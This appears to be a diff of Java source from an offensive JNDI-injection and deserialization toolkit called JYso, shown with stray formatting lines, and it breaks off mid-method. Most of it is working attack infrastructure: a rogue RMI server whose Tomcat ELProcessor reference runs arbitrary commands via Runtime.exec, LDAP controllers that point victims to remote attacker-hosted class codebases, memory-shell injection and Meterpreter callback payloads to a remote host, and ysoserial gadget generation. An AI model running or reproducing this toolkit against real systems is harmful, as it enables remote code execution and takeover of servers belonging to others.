if (!ROUTE.equals("")) {
|
||||||
|
base = ROUTE;
|
||||||
|
} else {
|
||||||
|
base = result.getRequest().getBaseDN();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
if (!AESkey.equals("123")) {
|
||||||
|
base = base64Decode(base);
|
||||||
|
base = AESUtils.decrypt(base, AESkey);
|
||||||
|
}
|
||||||
|
} catch (Exception AESerr) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//收到ldap请求
|
||||||
|
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||||
|
LdapController controller = null;
|
||||||
|
//find controller
|
||||||
|
//根据请求的路径从route中匹配相应的controller
|
||||||
|
for (String key : routes.keySet()) {
|
||||||
|
//compare using wildcard at the end
|
||||||
|
if (base.toLowerCase().startsWith(key)) {
|
||||||
|
controller = routes.get(key);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (controller == null) {
|
||||||
|
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
//从控制器中进行返回
|
||||||
|
controller.process(base);
|
||||||
|
controller.sendResult(result, base);
|
||||||
|
} catch (Exception e1) {
|
||||||
|
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,323 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
|
||||||
|
import com.qi4l.JYso.controllers.rmi.Basic;
|
||||||
|
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
import sun.rmi.server.UnicastServerRef;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.*;
|
||||||
|
import java.rmi.MarshalException;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.RemoteObject;
|
||||||
|
import java.rmi.server.UID;
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generic JRMP listener
|
||||||
|
* <p>
|
||||||
|
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
|
||||||
|
* <p>
|
||||||
|
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({
|
||||||
|
"restriction"
|
||||||
|
})
|
||||||
|
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
|
||||||
|
|
||||||
|
private final ServerSocket ss;
|
||||||
|
private final Object waitLock = new Object();
|
||||||
|
private final URL classpathUrl;
|
||||||
|
private boolean exit;
|
||||||
|
|
||||||
|
|
||||||
|
public RMIServer(int port, URL classpathUrl) throws IOException {
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start() {
|
||||||
|
String url = "http://" + ip + ":" + rmiPort;
|
||||||
|
|
||||||
|
try {
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
|
||||||
|
RMIServer c = new RMIServer(rmiPort, new URL(url));
|
||||||
|
c.run();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ResourceRef execByEL() {
|
||||||
|
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||||
|
ref.add(new StringRefAddr("x", String.format(
|
||||||
|
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
|
||||||
|
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
|
||||||
|
")",
|
||||||
|
command
|
||||||
|
)));
|
||||||
|
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||||
|
ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void close() {
|
||||||
|
this.exit = true;
|
||||||
|
try {
|
||||||
|
this.ss.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
Socket s = null;
|
||||||
|
try {
|
||||||
|
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||||
|
try {
|
||||||
|
s.setSoTimeout(5000);
|
||||||
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
|
//System.err.println("[+] Have connection from " + remote);
|
||||||
|
|
||||||
|
InputStream is = s.getInputStream();
|
||||||
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
|
||||||
|
// Read magic (or HTTP wrapper)
|
||||||
|
bufIn.mark(4);
|
||||||
|
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||||
|
int magic = in.readInt();
|
||||||
|
|
||||||
|
short version = in.readShort();
|
||||||
|
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
try (DataOutputStream out = new DataOutputStream(bufOut)) {
|
||||||
|
|
||||||
|
byte protocol = in.readByte();
|
||||||
|
switch (protocol) {
|
||||||
|
case TransportConstants.StreamProtocol:
|
||||||
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
|
if (remote.getHostName() != null) {
|
||||||
|
out.writeUTF(remote.getHostName());
|
||||||
|
} else {
|
||||||
|
out.writeUTF(remote.getAddress().toString());
|
||||||
|
}
|
||||||
|
out.writeInt(remote.getPort());
|
||||||
|
out.flush();
|
||||||
|
in.readUTF();
|
||||||
|
in.readInt();
|
||||||
|
case TransportConstants.SingleOpProtocol:
|
||||||
|
doMessage(s, in, out);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
case TransportConstants.MultiplexProtocol:
|
||||||
|
System.err.println("Unsupported protocol");
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bufOut.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
} finally {
|
||||||
|
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} finally {
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
if (this.ss != null) {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (SocketException ignored) {
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
|
||||||
|
//System.err.println("[+] RMI服务器 >> 正在读取信息");
|
||||||
|
|
||||||
|
int op = in.read();
|
||||||
|
|
||||||
|
switch (op) {
|
||||||
|
case TransportConstants.Call:
|
||||||
|
// service incoming RMI call
|
||||||
|
doCall(in, out);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.Ping:
|
||||||
|
// send ack for ping
|
||||||
|
out.writeByte(TransportConstants.PingAck);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.DGCAck:
|
||||||
|
UID.read(in);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
|
||||||
|
}
|
||||||
|
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||||
|
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||||
|
return ObjID[].class;
|
||||||
|
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||||
|
return ObjID.class;
|
||||||
|
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||||
|
return UID.class;
|
||||||
|
} else if ("java.lang.String".equals(desc.getName())) {
|
||||||
|
return String.class;
|
||||||
|
}
|
||||||
|
throw new IOException(" RMI 服务器 >> 无法读取 Object");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ObjID read;
|
||||||
|
try {
|
||||||
|
read = ObjID.read(ois);
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (read.hashCode() == 2) {
|
||||||
|
// DGC
|
||||||
|
handleDGC(ois);
|
||||||
|
} else if (read.hashCode() == 0) {
|
||||||
|
if (handleRMI(ois, out)) {
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notifyAll();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
|
||||||
|
int method = ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
|
||||||
|
if (method != 2) { // lookup
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
String object = (String) ois.readObject();
|
||||||
|
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
|
||||||
|
out.writeByte(TransportConstants.Return); // transport op
|
||||||
|
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
|
||||||
|
|
||||||
|
oos.writeByte(TransportConstants.NormalReturn);
|
||||||
|
new UID().write(oos);
|
||||||
|
|
||||||
|
//反射调用的类名
|
||||||
|
ReferenceWrapper rw = null;
|
||||||
|
|
||||||
|
if (object.startsWith("ELProcessor")) {
|
||||||
|
ResourceRef result = ELProcessor.refTomcatBypass(object);
|
||||||
|
rw = new ReferenceWrapper(result);
|
||||||
|
} else if (object.startsWith("basic")) {
|
||||||
|
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||||
|
Reference result = Basic.basic(object);
|
||||||
|
Reflections.setFieldValue(rw, "wrappee", result);
|
||||||
|
}
|
||||||
|
|
||||||
|
Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||||
|
refF.setAccessible(true);
|
||||||
|
refF.set(rw, new UnicastServerRef(12345));
|
||||||
|
|
||||||
|
oos.writeObject(rw);
|
||||||
|
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
private final URL sendUrl;
|
||||||
|
|
||||||
|
|
||||||
|
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||||
|
super(out);
|
||||||
|
this.sendUrl = u;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateClass(Class<?> cl) throws IOException {
|
||||||
|
if (this.sendUrl != null) {
|
||||||
|
writeObject(this.sendUrl.toString());
|
||||||
|
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||||
|
writeObject(null);
|
||||||
|
} else {
|
||||||
|
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||||
|
StringBuilder cb = new StringBuilder();
|
||||||
|
|
||||||
|
for (URL u : us) {
|
||||||
|
cb.append(u.toString());
|
||||||
|
}
|
||||||
|
writeObject(cb.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Serializes a location from which to load the specified class.
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||||
|
annotateClass(cl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
|
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||||
|
|
||||||
|
public class Starter {
|
||||||
|
|
||||||
|
// 用于存储所有的ObjectPayload类
|
||||||
|
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
|
||||||
|
static {
|
||||||
|
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||||
|
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean JYsoMode = false;
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
logo();
|
||||||
|
|
||||||
|
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
||||||
|
if (args.length > 0 && args[0].equals("-j")) {
|
||||||
|
Config.applyCmdArgs(args);
|
||||||
|
if (Config.TLSProxy) {
|
||||||
|
TLSProxy.start();
|
||||||
|
}
|
||||||
|
LdapServer.start();
|
||||||
|
HTTPServer.start();
|
||||||
|
RMIServer.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果参数中包含-y,则启动ysoserial
|
||||||
|
if (args.length > 0 && args[0].equals("-y")) {
|
||||||
|
JYsoMode = true;
|
||||||
|
ysoserial(args);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.security.KeyStore;
|
||||||
|
import java.util.concurrent.ExecutorService;
|
||||||
|
import java.util.concurrent.Executors;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
public class TLSProxy {
|
||||||
|
private final String localAddr;
|
||||||
|
private final String remoteAddr;
|
||||||
|
private final String certFile;
|
||||||
|
private final String keyFile;
|
||||||
|
|
||||||
|
public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
|
||||||
|
this.localAddr = localAddr;
|
||||||
|
this.remoteAddr = remoteAddr;
|
||||||
|
this.certFile = certFile;
|
||||||
|
this.keyFile = keyFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start() {
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "..."));
|
||||||
|
new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
SSLServerSocketFactory sslServerSocketFactory = createSSLServerSocketFactory();
|
||||||
|
if (sslServerSocketFactory == null) {
|
||||||
|
System.err.println("Failed to create SSLServerSocketFactory");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
|
||||||
|
String[] addressParts = localAddr.split(":");
|
||||||
|
serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
|
||||||
|
System.out.println("TLS Proxy started on " + localAddr);
|
||||||
|
|
||||||
|
ExecutorService executorService = Executors.newCachedThreadPool();
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
|
||||||
|
System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
|
||||||
|
executorService.submit(() -> handleConnection(clientSocket));
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private SSLServerSocketFactory createSSLServerSocketFactory() {
|
||||||
|
try {
|
||||||
|
SSLContext sslContext = SSLContext.getInstance("TLS");
|
||||||
|
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
|
||||||
|
KeyStore keyStore = KeyStore.getInstance("JKS");
|
||||||
|
|
||||||
|
try (InputStream keyInput = new FileInputStream(certFile)) {
|
||||||
|
keyStore.load(keyInput, "".toCharArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
keyManagerFactory.init(keyStore, "".toCharArray());
|
||||||
|
|
||||||
|
sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
|
||||||
|
return sslContext.getServerSocketFactory();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handleConnection(SSLSocket clientSocket) {
|
||||||
|
try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) {
|
||||||
|
System.out.println("Connected to " + remoteAddr);
|
||||||
|
ExecutorService executorService = Executors.newCachedThreadPool();
|
||||||
|
|
||||||
|
executorService.submit(() -> {
|
||||||
|
try {
|
||||||
|
forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
executorService.submit(() -> {
|
||||||
|
try {
|
||||||
|
forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void forwardData(InputStream input, OutputStream output) {
|
||||||
|
try {
|
||||||
|
byte[] buffer = new byte[8192];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = input.read(buffer)) != -1) {
|
||||||
|
output.write(buffer, 0, bytesRead);
|
||||||
|
output.flush();
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getPort(String address) {
|
||||||
|
return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,133 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.qi4l.JYso.template.CommandTemplate;
|
||||||
|
import com.qi4l.JYso.template.echoStatic.Meterpreter;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/basic"})
|
||||||
|
public class BasicController implements LdapController {
|
||||||
|
|
||||||
|
private static String payloadType;
|
||||||
|
//最后的反斜杠不能少
|
||||||
|
private final String codebase = Config.codeBase;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
try {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
String className = "";
|
||||||
|
|
||||||
|
if (payloadType.contains("E-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||||
|
className = EchoClass.getName();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("M-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
InjShell.init(params);
|
||||||
|
className = Gadgets.createClassB(ClassName1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("command")) {
|
||||||
|
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
|
||||||
|
commandTemplate.cache();
|
||||||
|
className = commandTemplate.getClassName();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("msf")) {
|
||||||
|
className = Meterpreter.class.getName();
|
||||||
|
}
|
||||||
|
|
||||||
|
String className1 = className.replaceAll("\\.", "/");
|
||||||
|
|
||||||
|
URL turl = new URL(new URL(this.codebase), className1 + ".class");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset());
|
||||||
|
e.addAttribute("javaClassName", "foo");
|
||||||
|
e.addAttribute("javaCodeBase", this.codebase);
|
||||||
|
e.addAttribute("objectClass", "javaNamingReference");
|
||||||
|
e.addAttribute("javaFactory", className);
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
} catch (Throwable er) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
er.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println("- JNDI Remote Refenrence Links ");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.shell) {
|
||||||
|
String cmd1 = Util.getCmdFromBase(base);
|
||||||
|
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
|
||||||
|
String cmd = new String(decodedBytes);
|
||||||
|
String[] cmdArray = cmd.split(" ");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = cmdArray;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.msf) {
|
||||||
|
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results1[0];
|
||||||
|
Config.rport = results1[1];
|
||||||
|
System.out.println("[+] RemotHost: " + results1[0]);
|
||||||
|
System.out.println("[+] RemotPort: " + results1[1]);
|
||||||
|
params = results1;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,166 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/ELProcessor"})
|
||||||
|
public class ELProcessorController implements LdapController {
|
||||||
|
private String payloadType;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
String jscode = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String");
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||||
|
TomcatBypassHelper helper = new TomcatBypassHelper();
|
||||||
|
|
||||||
|
if (payloadType.contains("E-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||||
|
jscode = InjShell.injectClass(EchoClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("M-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
InjShell.init(params);
|
||||||
|
jscode = Gadgets.createClassT(ClassName1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("command")) {
|
||||||
|
jscode = helper.getExecCode(params[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("meterpreter")) {
|
||||||
|
